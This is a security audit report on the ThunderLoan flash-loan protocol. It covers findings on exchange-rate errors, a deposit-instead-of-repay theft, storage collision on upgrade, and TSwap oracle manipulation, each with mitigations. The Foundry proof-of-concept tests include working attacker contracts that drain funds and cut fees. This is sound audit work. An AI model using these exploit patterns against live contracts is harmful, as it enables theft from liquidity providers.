Thunder Loan Protocol Audit Report

Prepared by: 0xshuayb

Table of Contents

Protocol Summary

The ⚡ ThunderLoan⚡ protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

The 0xshuayb team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L

	Impact		
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
    - USDC
    - DAI
    - LINK
    - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3

Severity	Number of issues found
Medium	1
Low	0
Info	4
Gas	0
Total	8

Findings

High

[H-1] Errorneous `ThunderLoan::updateExchangeRate` in the `deposit`function causes the protocol to think it has more fees than it does which causes redemption and incorrectly sets the exchange rate

Description In the Thunderloan system, the `exchangeRate` is responsible for calculating the fees between assetTokens and underlying tokens. It is also reponsible for the calculation of fees to give to the liquidity providers.

However, the `deposit` function updates the exchange rate without collecting any fees!

```
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
@>        uint256 calculatedFee = getCalculatedFee(token, amount);
@>        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact There are sveral impacts to this bug:

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved

Proof of Concepts

1. LP deposits
2. User takes a flash loan
3. It is now impossible for LP to redeem

▶ Poc

Place the code below in `ThunderLoanTest.t.sol`:

```
    function testRedeemAfterLoan() setAllowedToken hasDeposits public {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended mitigation Remove the incorrrect updated exchange rate lines from `deposit`

```
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` to repay instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description The `ThunderLoan::flashloan` function performs a necessary check after a flashloan to ensure that the borrower's fee was paid. It does this by comparing `endingBalance` with `startingBalance + fee`. However, a vulnerability emerges when calculating `endingBalance` using `token.balanceOf(address(assetToken))`. A malicious user can get a flashloan from the protocol and then call `deposit` to repay the flashloan instead of calling `repay`. The attacker now has asset tokens from the protocol as a result of depositing funds into the protocol. The attacker gets back his deposited amount - which is the initial flashloan he took, and incentive as the protocol's liquidity provider by calling the `redeem` function. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

Impact The protocol can be drained of all of its funds!

Proof of Concepts

1. Set up a `DepositOverRepay` contract which is the malicious flashloan receiver
2. Prank the flashloan receiver to take a flashloan
3. Let `DepositOverRepay` deposit the flashloan back to the protocol and redeem the resultant asset tokens

▶ PoC

Place the code below in the `ThunderLoan.t.sol` test suite:

```
function testDepositInsteadOfRepayToStealFunds() setAllowedToken
hasDeposits public {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemToken();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > amountToBorrow + fee);
    }

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    IERC20 s_token;
    AssetToken assetToken;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

        function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /* initiator */,
        bytes calldata /* params */
    )
        external
        returns (bool) {
            s_token = IERC20(token);
            assetToken = thunderLoan.getAssetFromToken(IERC20(token));
            IERC20(token).approve(address(thunderLoan), amount +fee);
            thunderLoan.deposit(IERC20(token), amount + fee);
            return true;
        }

        function redeemToken() public {
```

```
            uint256 amount = assetToken.balanceOf(address(this));
            thunderLoan.redeem(s_token, amount);
        }
    }
```

Recommended mitigation Add a check in `deposit` to make it impossible to use it in the same block of the flashloan. For example registring the `block.number` in a variable in `flashloan` and checking it in `deposit`

[H-3] Mixing up variable location causes storage collision in `ThunderLoan::s_flashloanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing the protocol

Description `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in different order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing the storage variables for constant variables breaks the storageocations as well

Impact After the upgrade,the `s_flashLoanFee`will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly,the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot

Proof of Concepts

▶ PoC

Place the code below in `ThunderLoanTest.t.sol`:

```
    import {ThunderLoanUpgraded} from
"../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
.
.
.
    function testUpdateBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
```

```
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("Fee before upgrade:", feeBeforeUpgrade);
        console.log("Fee after upgrade:", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended mitigation If you must remove storage variable, leave it as blank as to not mess up the storage slots

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 s_blank;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+     uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using Tswap as the price oracle leads price and oracle manipulation

Description The Tswap protocol is a constant formula based Automated Market Maker (AMM). This means it determines the price of a token based on the reserves of the two tokens in the pool. Due to this, malicious attackers can manipulate the price of a token by buying and selling a large amount of tokens in the same transaction, ignoring protocol fees in the process

Impact Liquidity providers will get drastically reduced fee for providing liquidity because the users are not paying up to what they are supposed to pay

Proof of Concepts The following all happens in a transaction:

1. User takes a fresh flashloan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `feeOne`
2. During the flashloan, they do the folowing: i. User sells 1000 `tokenA` tanking the price ii. Instead of repaying right away, user takes another flashloan of 1000 `tokenA` Due to the fact that the way `ThunderLoan` calculates price is based on the `TswapPool`, the second flashloan is substantially cheaper

```
    function getPriceInWeth(address token) public view returns (uint256) {
@>        address swapPoolOfToken =
IPoolFactory(s_poolFactory).getPool(token);
@>        return
ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

3. The user then repays the first flashloan, then the second flashloan

The following code should be placed in `ThunderLoanTest.t.tsol`:

```
 function testOracleManipulation() public {
        // 1. Set Up contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));

        // 2. Create a Tswap Dex of WETH/Token A
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 3. Fund Tswap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18,
block.timestamp);
        vm.stopPrank();
        // Ratio is 100 WETH === 100 token A, 1:1

        // 4. Fund Thunderloan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // Now there's currently: 100WETH : 100tokenA in Tswap
        //                        1000tokenA in ThunderLoan
        // Take a flashloan of 50 tokenA
        // Swap it on Tswap and change the ratio, ?? WETH : 150tokenA
        // Take another flashloan of 50tokenA and see how cheaper it is

        // 5. Take 2 flashloans
        //   a. To nuke the price of Weth/Token A on Tswap
        //   b. To show that doing so greatly reduces the fees we pay on
thunderloan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
100e18);
        console.log('Normal Fee Cost:', normalFeeCost);
        // 2.961e17
```

```
        uint256 amountToBorrow = 50e18;
        MaliciousFlashloanReceiver flr = new
MaliciousFlashloanReceiver(address(tswapPool), address(thunderLoan),
address(thunderLoan.getAssetFromToken(tokenA)));

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console.log("Attack Fee:", attackFee);
        assert(attackFee < normalFeeCost);
    }

contract MaliciousFlashloanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool isAttacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _tswapPool, address _thunderLoan, address
_repayAddress) {
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
        tswapPool = BuffMockTSwap(_tswapPool);
    }

    // 1. Swap tokenA borrowed for WETH
    // 2. Take another flashloan to show the difference
        function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /* initiator */,
        bytes calldata /* params */
    )
        external
        returns (bool) {
            if(!isAttacked) {
                // 1. Swap tokenA borrowed for WETH
                feeOne = fee;
                isAttacked = true;
                uint256 wethBought =
tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
                IERC20(token).approve(address(tswapPool), 50e18);
                // This swap tanks the price. Ratio is no longer 100WETH :
100tokenA
                tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
wethBought, block.timestamp);
                // 2. Take another flashloan to show the difference
                thunderLoan.flashloan(address(this), IERC20(token),
```

```
amount, "");
                // repay
                // IERC20(token).approve(address(thunderLoan), amount +
fee);
                // thunderLoan.repay(IERC20(token), amount + fee);
                IERC20(token).transfer(address(repayAddress), amount +
fee);

            } else {
                // calculate the fee and repay
                feeTwo = fee;

                // IERC20(token).approve(address(thunderLoan), amount +
fee);
                // thunderLoan.repay(IERC20(token), amount + fee);
                IERC20(token).transfer(address(repayAddress), amount +
fee);
            }

            return true;
        }
}
```

Recommended mitigation Consider using a different price oracle mechanism like the Chainlink price feed with a UNISWAP TWAP fallback oracle

Informational

[I-1] Missing checks for `address(0)` when assigning values to address state variables

Description Assigning values to address state variables without checking for `address(0)`

```
   function __Oracle_init_unchained(address poolFactoryAddress) internal
onlyInitializing {
@>        s_poolFactory = poolFactoryAddress;
    }
```

Recommended mitigation Add check to see if `poolFactoryAddress` has a value before proceeding to assign a value to it

```
    function __Oracle_init_unchained(address poolFactoryAddress) internal
onlyInitializing {
+       if(poolFactoryAddress == address(0)) return;
        s_poolFactory = poolFactoryAddress;
    }
```

[I-2] Functions not used internally could be marked external

- Found in src/protocol/ThunderLoan.sol: Line: 280
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 276
- Found in src/protocol/ThunderLoan.sol: Line: 272
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 268
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 272
- Found in src/protocol/ThunderLoan.sol: Line: 231
- Found in src/protocol/ThunderLoan.sol: Line: 276
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 227

[I-3] Constants should be defined and used instead of literals

- Found in src/protocol/ThunderLoan.sol: Line: 144
- Found in src/protocol/ThunderLoan.sol: Line: 145
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 144

[I-4] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/protocol/ThunderLoan.sol: Line: 106
- Found in src/protocol/ThunderLoan.sol: Line: 107
- Found in src/protocol/ThunderLoan.sol: Line: 110
- Found in src/protocol/AssetToken.sol: Line: 31
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 105
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 106
- Found in src/protocol/ThunderLoan.sol: Line: 105
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 107
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 110